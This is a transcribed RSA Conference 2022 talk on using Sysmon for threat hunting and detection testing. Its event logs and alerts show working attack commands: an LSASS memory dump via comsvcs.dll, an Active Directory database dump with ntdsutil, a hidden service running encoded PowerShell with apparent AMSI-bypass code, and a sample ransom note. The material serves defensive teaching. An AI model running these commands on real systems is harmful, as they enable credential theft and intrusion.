#RSAC

RSAConference2022

San Francisco & Digital | June 6 – 9

TRANSFORM

SESSION ID: **TECH-T02**

# Getting The Most Out Of Sysmon


**Amanda Berlin**

Lead Incident Detection Engineer
Blumira, Inc
@infosystir @blumirasec

# Disclaimer

Presentations are intended for educational purposes only and do not replace independent professional judgment. Statements of fact and opinions expressed are those of the presenters individually and, unless expressly stated to the contrary, are not the opinion or position of RSA® Conference, RSA Security LLC or any other co-sponsors. RSA Conference does not endorse or approve, and assumes no responsibility for, the content, accuracy or completeness of the information presented.

Attendees should note that sessions may be audio- or video-recorded and may be published in various media, including print, audio and video formats without further notice. The presentation template and any media capture are subject to copyright protection.

©2022 RSA Security LLC or its affiliates. All rights reserved. RSA Conference logo, RSA and other trademarks are trademarks of RSA Security LLC or its affiliates.

Hello.

Your company's server hard drive was encrypted by us.

In order for you to believe in us, we have prepared the test server.

Please contact us and we will tell the test server and decrypt the password.

Please contact us and we will tell you the amount of ransom and how to pay.

(If the contact is fast, we will give you a discount.)

After the payment is successful, we will tell the decrypt password.

# Have you been blinded to threats for no reason?

# System Monitor (Sysmon)

*A Windows system service and device driver that remains resident across system reboots to monitor and log system activity to the Windows event log. It provides detailed information about process creations, network connections, and changes to file creation time.*

# Attack surfaces are expanding. Yet…

**31%**

Believe their risk response efforts are under-funded

**38%**

Plan to spend more on response planning

**$0**

The cost of Sysmon

*Data from 2020 CSO Security Priorities Study*

**“Quick detection and response are critical to reporting the exact scope of a breach, figuring out what might have been compromised, and complying with regulatory breach notification requirements.”**

*- Limor Kessem, global executive security advisor at IBM Security*

RSA Conference2022

# Sysmon Use Cases

*Threat Hunting and Detection Testing*

Blumira

# Threat Hunting with Sysmon

## What Can Windows Event Viewer Detect?

*Process Creation*
*Process Changed*
*Network Connection*
*Process Terminated*
*Driver Loaded*
*File Create*
*Registry Create/Delete*
*Registry Value Set*
*Registry Key & Value Rename*
*WMI EventFilter activity*
*WMI EventConsumer activity*
*WMI EventConsumerTOFilter activity*
*DNS Query*

## What Can Sysmon Detect?

*Process Creation*
*Process Changed*
*Network Connection*
*Process Terminated*
*Driver Loaded*
***Image Loaded***
***Create Remote Thread***
***Raw Access File Read***
***Process Access***
*File Create*
*Registry Create/Delete*
*Registry Value Set*
*Registry Key & Value Rename*
***File Create Stream Hash***
***Pipe Event Created***
***Pipe Event Connected***
*WMI EventFilter activity*
*WMI EventConsumer activity*
*WMI EventConsumerToFilter activity*
*DNS Query*
***File Delete (archived)***
***Clipboard Change***
***Process Tampering***
*File Delete Detected*

# Threat Hunting with Sysmon

# Threat Hunting with Sysmon

# Threat Hunting with Sysmon

# Adversary Emulation & Detection Testing

# Detection Testing & Adversary Emulation

## Red Team Details

**Name**

T1482 - Windows - Discover domain trusts with nltest

**Description**

Uses the nltest command to discover domain trusts.
Requires the installation of nltest via Windows RSAT or the Windows Server AD DS role.
This technique has been used by the Trickbot malware family.

**Technique**

Domain Trust Discovery - T1482

**Phase**

Discovery

**Operator Guidance**

```
nltest /domain_trusts
```

# Detection Testing & Adversary Emulation

## Blue Team Details

Outcome

- [ ] TBD
- [ ] Blocked
- [x] Detected
- [ ] NotDetected

Detecting Blue Tool(s):

What was the alert severity?

- [x] TBD
- [ ] Info
- [ ] Low
- [ ] Med
- [ ] High
- [ ] Critical

Outcome Notes

# Blumira

[redacted]

23:59:36' AND windows_log_source='Microsoft-Windows-Sysmon' AND REGEXP_CONTAINS(process_name, 'nltest')

[redacted]

Tags

[redacted]

# Use Case 1

Indicator: Dump LSASS.exe Memory using comsvcs.dll

Collection

Threat | Priority 1

DATE CREATED Dec 7, 2021 12

STATUS Open

ASSIGNED RESPONDERS

Select...

ANALYSIS

Comsvcs.dll is a

used by more advanced threat actors looking to collect credentials from lsass without the need to drop Mimikatz or other tools that might trigger an Antivirus alert. Investigate the user executing the process as well as the process id of the dumped process to see if it aligned with the lsass process on [redacted]

MATCHED EVIDENCE

Time Matched Dec 7, 2021 12:33 PM EST | Matches 1

| Timestamp | command | |
|---|---|---|
| | "C:\Windows\System32\rundll32.exe" C:\windows\System32\comsvcs.dll MiniDump 480 C:\Users\ADMINI~1\AppData\Local\Temp\svchost-exe.dmp full | 10.0.7.10 |

Related Findings

- Indicator: AdFind Domain Enumeration
- Indicator: AdFind Domain Enumeration
- Indicator: AdFind Domain Enumeration
- Invoke-WebRequest - Powershell
- Indicator: AdFind Domain Enumeration
- Indicator: NET User recon commands
- Local Accounts added to Administrators group
- Mimikatz detected by Sysmon
- Indicator: Dump LSASS.exe Memory using comsvcs.dll

# Use Case 1

Event Properties - Event 4688, Microsoft Windows security auditing.

General Details

A new process has been created.

Creator Subject:
Security ID: MIRATIME\aberlin
Account Name: aberlin
Account Domain: MIRATIME
Logon ID: 0x25E313

Target Subject:
Security ID: NULL SID
Account Name: -
Account Domain: -
Logon ID: 0x0

Process Information:
New Process ID: 0x13f4
New Process Name: C:\Windows\System32\rundll32.exe
Token Elevation Type: %%1938
Mandatory Label: Mandatory Label\Medium Mandatory Level
Creator Process ID: 0x1b74
Creator Process Name: C:\Windows\System32\cmd.exe
Process Command Line: "C:\Windows\System32\rundll32.exe" C:\windows\System32\comsvcs.dll, MiniDump 480 C:\Users\aberlin\AppData\Local\Temp\svchost-exe.dmp full

**VS**

Event Properties - Event 1, Sysmon

General Details

Process Create:
RuleName: technique_id=T1218.002,technique_name=rundll32.exe
UtcTime: 2022-04-25 15:53:29.860
ProcessGuid: {86c5f621-c3f9-6266-0101-00000000bb01}
ProcessId: 2108
Image: C:\Windows\System32\rundll32.exe
FileVersion: 10.0.17763.1697 (WinBuild.160101.0800)
Description: Windows host process (Rundll32)
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation
OriginalFileName: RUNDLL32.EXE
CommandLine: "C:\Windows\System32\rundll32.exe" C:\windows\System32\comsvcs.dll MiniDump 480 C:\Users\aberlin\AppData\Local\Temp\svchost-exe.dmp full
CurrentDirectory: C:\Users\aberlin\
User: MIRATIME\aberlin
LogonGuid: {86c5f621-c096-6266-3d9b-040000000000}
LogonId: 0x49B3D
TerminalSessionId: 2
IntegrityLevel: Medium
Hashes: SHA1=A40886F98905F3D9DBDD61DA1D59CCB4F4854758,MD5=80F8E0C26028E83F1EF371D7B44DE3DF,SHA256=9F1E56A3BF293AC536CF4B8DAD57040797D62DBB0CA19C4ED9683B5565549481,IMPHASH=F27A7FC3A53E74F45BE370131953896A
ParentProcessGuid: {86c5f621-c254-6266-f600-00000000bb01}
ParentProcessId: 2564
ParentImage: C:\Windows\System32\cmd.exe
ParentCommandLine: "C:\Windows\system32\cmd.exe"

# Use Case 1

Process Create:
RuleName: technique_id=T1218.002,technique_name=rundll32.exe

1_process_creation/include_living_off_the_land.xml

```
5        <!--Native Windows tools - Living off the land-->
6        <OriginalFileName name="technique_id=T1218.002,technique_name=rundll32.exe"
condition="contains">rundll32.exe</OriginalFileName>
```

bd96789f31 atomic-red-team / atomics / T1218 / T1218.yaml

CircleCI Atomic Red Team GUID generator Generate GUIDs from job=generate_and_commit_guids_and_

16 contributors +4

285 lines (280 sloc) 13.2 KB

```
1  attack_technique: T1218
2  display_name: Signed Binary Proxy Execution
3  atomic_tests:
4  - name: mavinject - Inject DLL into running process
5    auto_generated_guid: c426dacf-575d-4937-8611-a148a86a5e61
6    description: |
7      Injects arbitrary DLL into running process specified by process ID. Requires Windows 10.
```

# Use Case 1 - Detection & Summary

Indicator: Dump LSASS.exe Memory using comsvcs.dll

Collection

Threat | Priority 1

**DATE CREATED** Dec 7, 2021 12:35 PM EST

**STATUS** Open

**ASSIGNED RESPONDERS**

Select...

**ANALYSIS**

Comsvcs.dll is a built in Windows dll that can be used to dump process memory. This dll can be used by more advanced threat actors looking to collect credentials from lsass without the need to drop Mimikatz or other tools that might trigger an Antivirus alert. Investigate the user executing the process as well as the process id of the dumped process to see if it aligned with the lsass process on [redacted]

Windows Event = 1 (sysmon)

Command or parent command like *%comsvcs.dll%minidump%*

# Use Case 2

## Indicator: Dump Active Directory Database with NTDSUtil

Collection

Threat | Priority 1

DATE CREATED Dec 14, 2021 9

STATUS Open

ASSIGNED RESPONDERS

Select...

ANALYSIS

Blumira detected the usage of ntdsutil
[redacted] Administrator at 20
utility for managing the Active Director
the ntds.dit file for exfiltration and ther
the directory forest.

MATCHED EVIDENCE

Time Matched Dec 14, 2021 9:29 PM EST | Matches 1

ntdsutil "ac i
ntds" "ifm"
"create full 10.0.7.100
c:\dcbackup"
q q

| nain | id | parent.cmdline |
|---|---|---|
| [redacted] | [redacted] | "C:\Windows\system32\cmd.exe" |

# Use Case 2

Event Properties - Event 4799, Microsoft Windows security auditing.

General | Details

A security-enabled local group membership was enumerated.

Subject:
- Security ID: MIRATIME\aberlin
- Account Name: aberlin
- Account Domain: MIRATIME
- Logon ID: 0x419EEDB2

Group:
- Security ID: BUILTIN\Administrators
- Group Name: Administrators
- Group Domain: Builtin

Process Information:
- Process ID: 0x2ce4
- Process Name: C:\Windows\System32\ntdsutil.exe

| | | | | |
|---|---|---|---|---|
| Audit Success | 3/25/2022 1:51:56 ... | Microsoft Windows se... | 4799 | Security Group Management |
| Audit Success | 3/25/2022 1:51:56 ... | Microsoft Windows se... | 4799 | Security Group Management |
| Audit Success | 3/25/2022 1:51:56 ... | Microsoft Windows se... | 4799 | Security Group Management |
| Audit Success | 3/25/2022 1:51:56 ... | Microsoft Windows se... | 4799 | Security Group Management |
| Audit Success | 3/25/2022 1:51:56 ... | Microsoft Windows se... | 4799 | Security Group Management |
| Audit Success | 3/25/2022 1:51:56 ... | Microsoft Windows se... | 4799 | Security Group Management |
| Audit Success | 3/25/2022 1:51:56 ... | Microsoft Windows se... | 4799 | Security Group Management |
| Audit Success | 3/25/2022 1:51:56 ... | Microsoft Windows se... | 4799 | Security Group Management |
| Audit Success | 3/25/2022 1:51:56 ... | Microsoft Windows se... | 4799 | Security Group Management |
| Audit Success | 3/25/2022 1:51:56 ... | Microsoft Windows se... | 4799 | Security Group Management |
| Audit Success | 3/25/2022 1:51:56 ... | Microsoft Windows se... | 4799 | Security Group Management |
| Audit Success | 3/25/2022 1:51:56 ... | Microsoft Windows se... | 4799 | Security Group Management |

VS

Event Properties - Event 1, Sysmon

General | Details

Process Create:
RuleName: technique_id=T1086,technique_name=PowerShell
UtcTime: 2022-05-01 20:27:10.549
ProcessGuid: {e9cd4c3b-ed1e-626e-1835-000000000b01}
ProcessId: 11364
Image: C:\Windows\System32\ntdsutil.exe
FileVersion: 10.0.17763.1007 (WinBuild.160101.0800)
Description: NT5DS
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation
OriginalFileName: ntdsutil.exe
CommandLine: "C:\Windows\system32\ntdsutil.exe" "ac i ntds" ifm "create full c:\
CurrentDirectory: C:\Windows\system32\
User: MIRATIME\aberlin
LogonGuid: {e9cd4c3b-a9eb-626e-03a0-ef1400000000}
LogonId: 0x14EFA003
TerminalSessionId: 7
IntegrityLevel: High
Hashes: SHA1=F55569ADC3A792654A977CE9FD9B1F3D2009D69B,MD5
=FBF152DADED7AF9E20980C8B68240A95,SHA256=
692D8824D329AB6A2ED520CEDA1F13EBF0CAB9E8D32C4FD0A2F1BC980A0C002A,I
21A2CEC3EDDE94A302888703A03E6B8D
ParentProcessGuid: {e9cd4c3b-ece9-626e-0c35-000000000b01}
ParentProcessId: 548
ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe
ParentCommandLine: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerSh

Event Properties - Event 10, Sysmon

General | Details

Process accessed:
RuleName: technique_id=T1059.001,technique_name=PowerShell
UtcTime: 2022-05-01 20:27:07.195
SourceProcessGUID: {e9cd4c3b-ece9-626e-0c35-000000000b01}
SourceProcessId: 548
SourceThreadId: 1508
SourceImage: C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell_ISE.exe
TargetProcessGUID: {e9cd4c3b-ed1b-626e-1335-000000000b01}
TargetProcessId: 11276
TargetImage: C:\Windows\system32\ntdsutil.exe
GrantedAccess: 0x1FFFFF
CallTrace: C:\Windows\SYSTEM32\ntdll.dll+a09d4|C:\Windows\System32\KERNELBASE.dll+48612
|C:\Windows\System32\KERNELBASE.dll+46006|C:\Windows\System32\KERNEL32.dll+1c2e3|C:
\Windows\System32\windows.storage.dll+15bf7c|C:\Windows\System32\windows.storage.dll+
15e38e|C:\Windows\System32\windows.storage.dll+195218|C:\Windows\System32
\windows.storage.dll+194fdf|C:\Windows\System32\windows.storage.dll+194ebd|C:\Windows
\System32\windows.storage.dll+15a739|C:\Windows\System32\windows.storage.dll+15b53c|C:
\Windows\System32\windows.storage.dll+153b1a|C:\Windows\System32\shell32.dll+73f92|C:
\Windows\System32\shell32.dll+5ce7e|C:\Windows\System32\shell32.dll+5e303|C:\Windows
\System32\shell32.dll+5f149|C:\Windows\System32\shell32.dll+5eba1|C:\Windows\assembly
\NativeImages_v4.0.30319_64\System\cb755e97e255f61e327a8001d4e05859\System.ni.dll+
33903a|C:\Windows\assembly\NativeImages_v4.0.30319_64\System
\cb755e97e255f61e327a8001d4e05859\System.ni.dll+276811|C:\Windows\assembly
\NativeImages_v4.0.30319_64\System\cb755e97e255f61e327a8001d4e05859\System.ni.dll+acd828
|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\cb755e97e255f61e327a8001d4e05859
\System.ni.dll+271e5f|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#
\caff2e9253a086b2ddc796bccf2eba43\System.Management.Automation.ni.dll+cc7801f8|C:
\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll+46fd1|C:\Windows\Microsoft.NET
\Framework64\v4.0.30319\clr.dll+46e98

Event Properties - Event 13, Sysmon

General | Details

Registry value set:
RuleName: technique_id=T1543,technique_name=S
EventType: SetValue
UtcTime: 2022-05-01 20:27:11.298
ProcessGuid: {e9cd4c3b-ed1e-626e-1835-000000000b01}
ProcessId: 11364
Image: C:\Windows\system32\ntdsutil.exe
TargetObject: HKLM\System\CurrentControlSet\Services\bam\State\UserSettings\S-1-5-21-
2080119107-79042430-4151486730-1111\\Device\HarddiskVolume1\Windows\System32
\ntdsutil.exe
Details: Binary Data

# Use Case 2

Event Properties - Event 4799

General | Details

A security-enabled local grou

Subject:
Security ID:
Account Name:
Account Domain:
Logon ID:

Group:
Security ID:
Group Name:
Group Domain:

Process Information:
Process ID:
Process Name:

| | | | | |
|---|---|---|---|---|
| Audit Success | 3/25/2022 1:51:56 ... | M | | |
| Audit Success | 3/25/2022 1:51:56 ... | M | | |
| Audit Success | 3/25/2022 1:51:56 ... | M | | |
| Audit Success | 3/25/2022 1:51:56 ... | M | | |
| Audit Success | 3/25/2022 1:51:56 ... | M | | |
| Audit Success | 3/25/2022 1:51:56 ... | M | | |
| Audit Success | 3/25/2022 1:51:56 ... | M | | |
| Audit Success | 3/25/2022 1:51:56 ... | M | | |
| Audit Success | 3/25/2022 1:51:56 ... | Microsoft Windows se... | 4799 | Security Group Management |
| Audit Success | 3/25/2022 1:51:56 ... | Microsoft Windows se... | 4799 | Security Group Management |
| Audit Success | 3/25/2022 1:51:56 ... | Microsoft Windows se... | 4799 | Security Group Management |
| Audit Success | 3/25/2022 1:51:56 ... | Microsoft Windows se... | 4799 | Security Group Management |

OriginalFileName: ntdsutil.exe
CommandLine: "C:\Windows\system32\ntdsutil.exe" "ac i ntds" ifm "create full c:\temp2" q q
CurrentDirectory: C:\Windows\system32\
User: MIRATIME\aberlin
LogonGuid: {e9cd4c3b-a9eb-626e-03a0-ef1400000000}
LogonId: 0x14EFA003
TerminalSessionId: 7
IntegrityLevel: High
Hashes: SHA1=F55569ADC3A792654A977CE9FD9B1F3D2009D69B,MD5
=FBF152DADED7AF9E20980C8B68240A95,SHA256=
692D8824D329AB6A2ED520CEDA1F13EBF0CAB9E8D32C4FD0A2F1BC980A0C002A,IMPHASH=
21A2CEC3EDDE94A302888703A03E6B8D
ParentProcessGuid: {e9cd4c3b-ece9-626e-0c35-000000000b01}
ParentProcessId: 548
ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe
ParentCommandLine: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell_ISE.exe"

# Use Case 2

Event Properties - Event 4799, Microsoft Windows security auditing.

General | Details

A security-enabled local group membership was enume

Subject:
- Security ID: MIRATIME\aberlin
- Account Name: aberlin
- Account Domain: MIRATIME
- Logon ID: 0x419EEDB2

Group:
- Security ID: BUILTIN\Administr
- Group Name: Administrators
- Group Domain: Builtin

Process Information:
- Process ID: 0x2ce4
- Process Name: C:\Windows\Syster

| | | | |
|---|---|---|---|
| Audit Success | 3/25/2022 1:51:56 ... | Microsoft Windows se... | 4799 Security Group Management |
| Audit Success | 3/25/2022 1:51:56 ... | Microsoft Windows se... | 4799 Security Group Management |
| Audit Success | 3/25/2022 1:51:56 ... | Microsoft Windows se... | 4799 Security Group Management |
| Audit Success | 3/25/2022 1:51:56 ... | Microsoft Windows se... | 4799 Security Group Management |

Process accessed:
RuleName: technique_id=T1059.001,technique_name=PowerShell
UtcTime: 2022-05-01 20:27:07.195
SourceProcessGUID: {e9cd4c3b-ece9-626e-0c35-000000000b01}
SourceProcessId: 548
SourceThreadId: 1508
SourceImage: C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell_ISE.exe
TargetProcessGUID: {e9cd4c3b-ed1b-626e-1335-000000000b01}
TargetProcessId: 11276
TargetImage: C:\Windows\system32\ntdsutil.exe
GrantedAccess: 0x1FFFFF
CallTrace: C:\Windows\SYSTEM32\ntdll.dll+a09d4|C:\Windows\System32\KERNELBASE.dll+48612|C:\Windows\System32\KERNELBASE.dll+46006|C:\Windows\System32\KERNEL32.dll+1c2e3|C:\Windows\System32\windows.storage.dll+15bf7c|C:\Windows\System32\windows.storage.dll+

# Use Case 2

Event Properties - Event 4799, Microsoft Windows security auditing.

General | Details

A security-enabled local group membership was enumerated.

Subject:

| | |
|---|---|
| Security ID: | MIRATIME\aberlin |
| Account Name: | aberlin |
| Account Domain: | MIRATIME |
| Logon ID: | 0x419EEDB2 |

Group:

| | |
|---|---|
| Security ID: | BUILTIN\Administrators |
| Group Name: | Administrators |
| Group Domain: | Builtin |

Process Information:

| | |
|---|---|
| Process ID: | 0x2ce4 |
| Process Name: | C:\Windows\System32\ntdsutil.exe |

**VS**

| | | |
|---|---|---|
| Audit Success | 3/25/2022 1:51:56 ... | Microsoft Windows se... |
| Audit Success | 3/25/2022 1:51:56 ... | Microsoft Windows se... |
| Audit Success | 3/25/2022 1:51:56 ... | Microsoft Windows se... |
| Audit Success | 3/25/2022 1:51:56 ... | Microsoft Windows se... |
| Audit Success | 3/25/2022 1:51:56 ... | Microsoft Windows se... |
| Audit Success | 3/25/2022 1:51:56 ... | Microsoft Windows se... |
| Audit Success | 3/25/2022 1:51:56 ... | Microsoft Windows se... |
| Audit Success | 3/25/2022 1:51:56 ... | Microsoft Windows se... |
| Audit Success | 3/25/2022 1:51:56 ... | Microsoft Windows se... |
| Audit Success | 3/25/2022 1:51:56 ... | Microsoft Windows se... |
| Audit Success | 3/25/2022 1:51:56 ... | Microsoft Windows se... |
| Audit Success | 3/25/2022 1:51:56 ... | Microsoft Windows se... |
| Audit Success | 3/25/2022 1:51:56 ... | Microsoft Windows se... |

ProcessGuid: {e9cd4c3b-ed1e-626e-1835-000000000b01}
ProcessId: 11364
Image: C:\Windows\system32\ntdsutil.exe
TargetObject: HKLM\System\CurrentControlSet\Services\bam\State\UserSettings\S-1-5-21-2080119107-79042430-4151486730-1111\\Device\HarddiskVolume1\Windows\System32\ntdsutil.exe

# Use Case 2 - Detection & Summary

Indicator: Dump Active Directory Database with NTDSUtil

Collection

Threat | Priority 1

**DATE CREATED** Dec 14, 2021 9:30 PM EST

**STATUS** Open

**ASSIGNED RESPONDERS**

Select...

**ANALYSIS**

Blumira detected the usage of ntdsutil "ac i ntds" "ifm" "create full c:\dcbackup" q q on [redacted] Administrator at 2021-12-15T02:29:01.241000. NtdsUtil is a built in Microsoft utility for managing the Active Directory database. It can also be used by threat actors to dump the ntds.dit file for exfiltration and then can allow the threat actor to crack all the passwords from the directory forest.

Windows Event = 1 (sysmon)

Process Name like *%ntdsutil.exe%*

Command or parent command like *%q%q%*

# Use Case 3

## Indicator: COMSPEC in Registry Persist/Lateral Movement

### Lateral Movement

Threat | Priority 1

**DATE CREATED** Feb 17, 2022 1:

**STATUS** Resolved

**ASSIGNED RESPONDERS**

[redacted] ×

**ANALYSIS**

COMSPEC is an environmental variable in Microsoft windows that will be interpreted as cmd.exe. The use of this variable in the registry is a tactic that threat actors often employ for persistence and can be used in several ways to facilitate lateral movement via remote service execution that then calls to a PowerShell script in the registry. This is a high fidelity alert, and has a high chance of being an indication of lateral movement.

**MATCHED EVIDENCE**

Time Matched Feb 17, 2022 1:45 PM EST | Matches 1

| Timestamp | account_type | category | description |
|---|---|---|---|
| 2022-02-17T18:45:24.649000 | User | Registry value set (rule: RegistryEvent) | %%COMSPEC%% /b /c start /b /min powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQE |

```
C:\Windows\system32>echo %COMSPEC%
C:\Windows\system32\cmd.exe
```

# Use Case 3 - sidebar

```
$local:Initialized =
[system.teXt.EnCoDiNG]::uniCoDe.gETsTRiNg([SySTEM.CoNVErT]::fROMbaSe64STriNg("IwBNAGE
AcgBzACAAUgBlAGYAbABlAGMAdABpAG8AbgAgAG0AZQB0AGgAbwBkACAACgBbAFIAZQBmAF
ALgBHAGUAdABUAHkAcABlACgAIgAkACgAWwBDAEgAQQByAF0AKAA4ADMAKQArAFsAQwBoA
```

```
#Matt Graebers Reflection method
[Ref].Assembly.GetType("$([CHAr](83)+[ChaR]([BYte]0x79)+[CHAr]([bYTE]0x73)+[Ch
([bYTe]0x67)+[ChAr]([bytE]0x65)+[chAr]([bYTE]0x6d)+[cHar]([byTE]0x65)+[cHar]([
([BytE]0x44)) -replace [CHaR](83+9)+[chAr]([BytE]0x70)+[cHAR](123)+[chAR](77)+
[cHAR]([bYte]0x6e)+[CHAr](105+17-17)+[ChAR]([bytE]0x74)+[cHaR]([ByTe]0x46)+[cH
```

```
$local:Po_wer_Spl_oit_Indicators = (
    ("{0}{5}{4}{2}{3}{1}" -f 'Inv','ion','nje','ct','I','oke-Dll'),
    ("{6}{2}{3}{8}{1}{7}{5}{0}{4}" -f 'o','eP','nvoke-','Reflect','n','ecti','I','EInj','iv'),
    ("{1}{0}{3}{2}"-f'v','In','Icode','oke-Shel'),
    ("{0}{2}{3}{1}" -f'Invoke-','ommand','W','miC'),
    ("{5}{1}{3}{2}{4}{0}" -f 'd','t-E','a','ncodedComm','n','Ou'),
```

# Use Case 3

Event Properties - Event 4697, Microsoft Windows security auditing.

General Details

A service was installed in the system.

Subject:

Service

Image: C:\Windows\system32\services.exe

TargetObject: HKLM\System\CurrentControlSet\Services\GRJNTKVCSFGHYLLHLOOJ\ImagePath

Details: %%COMSPEC%% /C "%%COMSPEC%% /C start /b C:\Windows\System32\WindowsPowershell\v1.0\powershell -noProfile -sta -window hidden -encoded

SQBmACgAJABQAFMAVgBIAFIAUwBpAE8ATgBUAEEAYgBsAEUALgBQAFMAVgBFAHIAcwBJAE8A

Event Properties - Event 1, Sysmon

General Details

Process Create:
RuleName: technique_id=T1059,technique_name=Command-Line Interface
UtcTime: 2022-05-04 18:36:33.966
ProcessGuid: {0e5f1054-c7b1-6272-6d01-00000000bc01}
ProcessId: 7024
Image: C:\Windows\System32\cmd.exe
FileVersion: 10.0.17763.1697 (WinBuild.160101.0800)
Description: Windows Command Processor
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation
OriginalFileName: Cmd.Exe
CommandLine: C:\Windows\system32\cmd.exe /C "C:\Windows\system32\c
\Windows\System32\WindowsPowershell\v1.0\powershell -noProfile -sta -wi
encoded

Event Properties - Event 8, Sysmon

General Details

CreateRemoteThread detected:
RuleName: technique_id=T1055,technique_name=Process Injection
UtcTime: 2022-05-04 20:09:58.047
SourceProcessGuid: {0e5f1054-c7b2-6272-7001-00000000bc01}
SourceProcessId: 1776
SourceImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
TargetProcessGuid: {0e5f1054-c72f-6272-5f01-00000000bc01}
TargetProcessId: 8876
TargetImage: C:\Windows\System32\dllhost.exe
NewThreadId: 4384
StartAddress: 0x00000238A1070000
StartModule: -
StartFunction: -

ProcessGuid: {0e5f1054-c71c-6272-4c01-00000000bc01}
ProcessId: 580
Image: C:\Windows\system32\services.exe
TargetObject: HKLM\System\CurrentControlSet\Services\GRJNTKVCSFGHYLL
Details: %%COMSPEC%% /C "%%COMSPEC%% /C start /b C:\Windows\Syst
\WindowsPowershell\v1.0\powershell -noProfile -sta -window hidden -encod

SourceThreadId: 2636
SourceImage: C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe
TargetProcessGUID: {0e5f1054-c71c-6272-4c01-00000000bc01}
TargetProcessId: 8132
TargetImage: C:\Windows\system32\DllHost.exe
GrantedAccess: 0x1410
CallTrace: C:\Windows\SYSTEM32\ntdll.dll+9feb4|C:\Windows\System32\KERNELBASE.dll+2
\Windows\assembly\NativeImages_v4.0.30319_64\System\cad99742209a734560a1c0004d574
\System.ni.dll+381d10|C:\Windows\assembly\NativeImages_v4.0.30319_64\System
\cad99742209a734560a1c0004d574b9a\System.ni.dll+2fa12e|C:\Windows\assembly
\NativeImages_v4.0.30319_64\System\cad99742209a734560a1c0004d574b9a\System.ni.dll+2f
\Windows\assembly\NativeImages_v4.0.30319_64\System\cad99742209a734560a1c0004d574
\System.ni.dll+2b7465|C:\Windows\assembly\NativeImages_v4.0.30319_64\System
\cad99742209a734560a1c0004d574b9a\System.ni.dll+2c37a4|UNKNOWN(00007FFCABDFB25

# Use Case 3

Event Properties - Event 4697, Microsoft Windows security auditing.

General | Details

A service was installed in the system.

Subject:
Security ID: MIRATIME\blask
Account Name: blask
Account Domain: MIRATIME
Logon ID: 0xA074EFFE

Service Information:
Service Name: RSACon
Service File Name: %COMSPEC% /C start /b C:\Windows\System32\WindowsPowershell\v1.0\powershell -noProfile -sta -window hidden -encoded

SQBmACgAJABQAFMAVgBIAFIAcwBpAG8AbgBUAEEAQgBsAEUALgBQAFMAVgBIAHIAUwBJAE8AbgAuAE0AQQBqAG8AUgAgAC0ARwBFACAAMwApAHsAJABSAGUAZgA9AFsAUgBFAEYAXQAuAEEAUwBTAGUATQBCAGwAeQAuAEcARQB0AFQAeQBQAEUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBIAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBBAG0AcwBpACcAKwAnAFUAdABpAGwAcwAnACkAOwAkAFIARQBGAC4ARwBFAFQARgBJAEUATABkACgAJwBhAG0AcwBpAEkAbgBpAHQARgAnACsAJwBhAGkAbABIAGQAJwAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAEUAdABWAGEAbABVAGUAKAAkAG4AVQBsAGwALAAkAHQAcgBVAEUAKQA7AFsAUwB5AHMAdABIAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBFAHYAZQBuAHQAaQBuAGcALgBFAHYAZQBuAHQAUAByAG8AdgBpAGQAZQByAF0ALgAiAEcAZQB0AEYAaQBlAGAAbABkACIAKAAnAG0AXwBlACcAKwAnAG4AYQBiAGwAZQBkACcALAAnAE4AbwBuACcAKwAnAFAAdQBiAGwAaQBjACwAJwArACcASQBuAHMAdABhAG4AYwBlACcAKQAuAFMAZQB0AFYAYQBsAHUAZQAoAFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4AQQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4

VS

Event Properties - Event 8, Sysmon

General | Details

CreateRemoteThread detected:
RuleName: technique_id=T1055,technique_name=Process Injection
UtcTime: 2022-05-04 20:09:58.047
SourceProcessGuid: {0e5f1054-c7b2-6272-7001-00000000bc01}
SourceProcessId: 1776
SourceImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
TargetProcessGuid: {0e5f1054-c72f-6272-5f01-00000000bc01}
TargetProcessId: 8876
TargetImage: C:\Windows\System32\dllhost.exe
NewThreadId: 4384
StartAddress: 0x00000238A1070000
StartModule: -
StartFunction: -

# Use Case 3

Event Properties - Event 4697, Microsoft Windows security auditing.

General | Details

A service was installed in the system.

Subject:
Security ID: MIRATIME\blask
Account Name: blask
Account Domain: MIRATIME
Logon ID: 0xA074EFFE

Service Information:
Service Name: RSACon
Service File Name: %COMSPEC% /C start /b C:\Windows\System32
\WindowsPowershell\v1.0\powershell -noProfile -sta -window hidden -encoded
SQBmACgAJABQAFMAVgBIAFIAcwBpAG8AbgBUAEEAQgBsAEUALgBQAFMAVgBIAHIAUwBJA
E8AbgAuAE0AQQBqAG8AUgAgAC0ARwBFACAAMwApAHsAJABSAGUAZgA9AFsAUgBFAEYAX
QAuAEEAUwBTAGUATQBCAGwAeQAuAEcARQB0AFQAeQBQAEUAKAAnAFMAeQBzAHQAZQ
BtAC4ATQBhAG4AYQBnAGUAbQBIAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBBAG
0AcwBpACcAKwAnAFUAdABpAGwAcwAnACkAOwAkAFIARQBGAC4ARwBFAFQARgBJAEUAT
